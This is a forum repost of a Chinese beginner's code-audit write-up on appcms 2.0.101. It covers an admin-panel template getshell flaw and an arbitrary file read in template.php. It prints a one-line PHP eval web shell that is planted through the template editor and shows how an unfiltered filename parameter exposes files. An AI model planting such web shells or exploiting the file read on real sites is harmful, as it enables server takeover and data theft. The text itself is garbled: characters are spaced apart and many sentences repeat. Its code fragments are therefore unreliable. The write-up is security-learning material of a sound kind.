搜索

[14724] 2019-10-20_小白代码审计开山篇

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2019-10-20_小白代码审计开山篇 小 白 代 码 审 计 开 山 篇 c m d g a g a   F r e e B u f   2 0 1 9 - 1 0 - 2 0 最 近 小 白 一 直 在 学 习 代 码 审 计 ， 对 于 我 这 个 没 有 代 码 审 计 的 菜 鸟 来 说 确 实 是 一 件 无 比 艰 难 的 事 情 。 但 是 着 恰 恰 最 近 小 白 一 直 在 学 习 代 码 审 计 ， 对 于 我 这 个 没 有 代 码 审 计 的 菜 鸟 来 说 确 实 是 一 件 无 比 艰 难 的 事 情 。 但 是 着 恰 恰 应 了 一 句 老 话 ： 万 事 开 头 难 。 但 是 小 白 我 会 坚 持 下 去 。 何 况 现 在 已 经 喜 欢 上 了 代 码 审 计 ， 下 面 呢 小 白 就 说 一 下 应 了 一 句 老 话 ： 万 事 开 头 难 。 但 是 小 白 我 会 坚 持 下 去 。 何 况 现 在 已 经 喜 欢 上 了 代 码 审 计 ， 下 面 呢 小 白 就 说 一 下 a p p c m s 后 台 模 板 后 台 模 板 G e t s h e l l 以 及 读 取 任 意 文 件 ， 影 响 的 版 本 是 以 及 读 取 任 意 文 件 ， 影 响 的 版 本 是 2 . 0 . 1 0 1 版 本 。 其 实 这 个 版 本 已 经 不 用 了 ， 小 白 也 是 版 本 。 其 实 这 个 版 本 已 经 不 用 了 ， 小 白 也 是 拿 这 个 来 说 一 下 自 己 理 解 的 拿 这 个 来 说 一 下 自 己 理 解 的 p h p 的 代 码 审 计 。 开 源 的 的 代 码 审 计 。 开 源 的 C M S 就 是 舒 服 ， 不 仅 可 以 对 最 新 版 的 来 做 代 码 审 计 ， 进 而 就 是 舒 服 ， 不 仅 可 以 对 最 新 版 的 来 做 代 码 审 计 ， 进 而 获 取 到 获 取 到 c n v d 证 书 ， 这 样 对 自 己 的 经 验 添 加 了 不 少 光 彩 。 话 不 多 说 ， 下 面 来 开 始 进 行 本 地 的 代 码 审 计 。 证 书 ， 这 样 对 自 己 的 经 验 添 加 了 不 少 光 彩 。 话 不 多 说 ， 下 面 来 开 始 进 行 本 地 的 代 码 审 计 。 环 境 准 备 环 境 准 备 1 、 w i n 1 0 - → 可 选 ； 2 、 w a m p - → 可 选 ； 3 、 b u r p t - → 抓 包 工 具 ； 4 、 S u b l i m e   t e x t - → 文 本 ； 5 、 a p p c m s - 2 . 0 . 1 0 1 安 装 包 ； 注 明 ： 在 安 装 完 毕 我 们 进 入 后 台 后 会 提 示 将 安 装 目 录 下 a d m i n 目 录 进 行 重 命 名 ， 否 则 会 报 错 的 。 我 将 这 个 目 录 重 命 名 为 c m d b a c k 目 录 。
直 捣 黄 龙 直 捣 黄 龙 小 白 在 学 习 代 码 审 计 的 时 候 就 听 说 有 这 款 代 码 审 计 神 器 ， 这 款 审 计 看 了 一 下 介 绍 都 是 匹 配 的 危 险 函 数 ， 然 后 罗 列 出 来 ， 生 成 代 码 审 计 报 告 ， 代 码 审 计 人 员 再 根 据 可 能 存 在 的 漏 洞 进 行 验 证 。 小 白 我 前 期 主 要 是 先 找 一 下 代 码 审 计 的 感 觉 ， 所 以 就 没 有 用 这 样 自 动 化 的 工 具 。
环 境 搭 建 完 毕 后 ， 小 白 通 常 会 以 渗 透 测 试 的 思 维 去 找 网 站 后 台 的 敏 感 接 口 ， 这 些 接 口 一 般 都 会 与 数 据 库 通 信 ， 说 不 定 存 在 S Q L 注 入 、 文 件 上 传 漏 洞 、 任 意 文 件 删 除 漏 洞 等 。 比 如 数 据 库 备 份 、 模 板 信 息 、 上 传 文 件 等 。 其 实 今 天 看 的 是 后 台 g e t s h e l l 的 一 个 漏 洞 ， 这 个 漏 洞 是 存 在 于 后 台 的 模 块 管 理 ， 对 应 的 p h p 代 码 是 存 在 于 a p p c m s u p l o a d a d m i n ( 原 始 目 录 ， 安 装 后 需 要 重 命 名 ) t e m p l a t e . p h p 文 件 。 下 面 来 通 读 一 下 着 端 模 板 修 改 的 代 码 ： 在 代 码 的 第 9 0 行 定 义 了 一 个 全 局 变 量 $ p a g e ,   $ d i r   =   d i r n a m e ( F I L E )   .   ‘ / . . / t e m p l a t e s / ‘   .   T E M P L A T E , 这 段 代 码 是 来 定 义 目 录 的 ， d i r n a m e ( ) 函 数 是 返 回 路 径 中 的 文 件 名 部 分 ； 那 么 h e l p e r   : :   e s c a p e _ s t r i p s l a s h e s 是 个 什 么 东 东 ？ 通 过 查 找 在 c o r e 目 录 下 的 一 个 类 文 件 h e l p e r . c l a s s . p h p ， 文 件 中 定 义 了 一 个 h e l p e r 的 类 。 在 文 件 中 搜 索 e s c a p e _ s t r i p s l a s h e s 。 我 们 来 看 一 下 5 9 1 — 5 9 9 的 代 码 主 要 是 说 的 什 么 ， i f 条 件 判 断 语 句 在 p h p 中 ， s t r n a t c a s e c m p ( ) 函 数 是 使 用 来 通 过 一 种 ” 自 然 ” 算 法 来 比 较 两 个 字 符 串 ， 比 较 字 符 串 不 区 分 大 小 写 。 如 果 两 个 字 符 串 相 等 ， 即 一 样 ， 函 数 返 回 0 。 如 果 字 符 串 1 小 于 字 符 串 2 ， 函 数 返 回 小 于 0 的 数 。 如 果 字 符 串 1 大 于 字 符 串 2 ， 函 数 返 回 大 于 0 的 数 ； g e t _ m a g i c _ q u o t e s _ g p c   / / 判 断 p h p 中 是 否 打 开 了 g p c ； s t r i p s l a s h e s ( $ s t r )   / / 在 代 码 中 删 除 反 斜 杠 ， 进 行 对 内 容 进 行 过 滤 ；
我 们 再 次 返 回 再 次 回 到 t e m p l a t e . p h p 文 件 中 ， 我 们 使 用 v a r _ e x p o r t ( ) 函 数 输 出 或 返 回 一 个 变 量 的 字 符 串 表 示 ， 找 到 代 码 的 第 9 3 行 ， 在 上 面 一 行 加 入 v a r _ e x p o r t ( $ s t r   .   “ / “   .   $ p a g e [ ‘ p o s t ’ ]   [ ‘ f i l e n a m e ’ ] ) ; d i e ;
到 此 为 止 ， 通 过 代 码 我 们 已 经 找 出 了 这 个 点 可 以 g e t s h e l l ， 那 我 们 去 g e t s h e l l 一 下 ， 我 们 先 写 一 个 p h p 文 件 ， 内 容 为 : < ? p h p   e v a l ( $ _ P O S T [ ‘ c m d b a c k ’ ] ) ; ? > , 看 看 能 不 能 g e t s h e l l . 这 样 我 们 就 可 以 获 取 到 w e b s h e l l 。 任 意 文 件 读 取 漏 洞 任 意 文 件 读 取 漏 洞 这 个 漏 洞 代 码 也 是 在 管 理 后 台 的 同 一 个 文 件 中 ， 先 附 上 漏 洞 代 码 ： 我 们 看 一 下 第 7 9 行 后 面 的 代 码 ， 这 段 代 码 主 要 是 未 对 用 户 输 入 的 做 过 滤 条 件 以 及 未 对 文 件 目 录 的 访 问 权 限 做 限 制 ， 这 样 用 户 就 可 以 直 接 读 取 网 站 内 部 的 敏 感 信 息 。 i f 语 句 中 的 i s _ _ f i l e ( ) 判 断 文 件 是 否 存 在 ， 8 0 行 $ f i l e c o n t   = h e l p e r : : g e t _ c o n t e n t s ( $ d i r   .   “ / ”   .   $ p a g e [ ' g e t ' ]   [ ' f i l e n a m e ' ] ) ; 这 是 调 用 一 个 类 ， 那 好 我 们 去 追 一 下 这 个 类 ， 类 的 文 件 还 是 h e l p e r . c l a s s . p h p 。 定 义 一 个 通 过 静 态 函 数 g e t _ c o n t e n t s , $ r e t r y   =   3   / / 定 义 一 个 数 字 型 的 变 量 ； $ c o n t e n t = ”   / / 定 义 一 个 字 符 型 的 变 量 ， w h i l e 语 句 来 循 环 判 断 $ c o n t e n t 是 否 为 空 ， 并 且 $ r e s t r y 是 否 大 于 0 ， 都 满 足 条 件 的 话 就 会 将 整 个 文 件 读 取 到 一 个 一 个 字 符 串 中 ， $ r e t r y –   是 自 减 一 ；
下 面 我 们 来 测 试 一 下 是 否 存 在 任 意 文 件 读 取 的 漏 洞 , 成 功 读 取 t e s t . t x t 文 件 的 内 容 ， 这 个 漏 洞 的 代 码 审 计 有 点 简 单 ， 但 是 简 单 归 简 单 ， 危 害 性 有 的 时 候 就 特 大 ， 如 果 读 取 到 网 站 的 服 务 器 以 及 数 据 库 信 息 ， 那 就 不 用 搜 索 别 的 信 息 ， 直 接 就 可 以 横 扫 内 网 。 个 人 总 结 个 人 总 结 小 白 个 人 感 觉 代 码 审 计 还 是 比 较 有 趣 的 ， 毕 竟 自 己 可 以 通 过 代 码 来 看 到 不 同 漏 洞 是 怎 么 发 现 的 ， 有 什 么 欠 缺 的 地 方 还 望 大 佬 批 评 。 * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： c m d g a g a ， 本 文 属 于 ， 本 文 属 于 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 精 彩 推 荐 精 彩 推 荐

阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理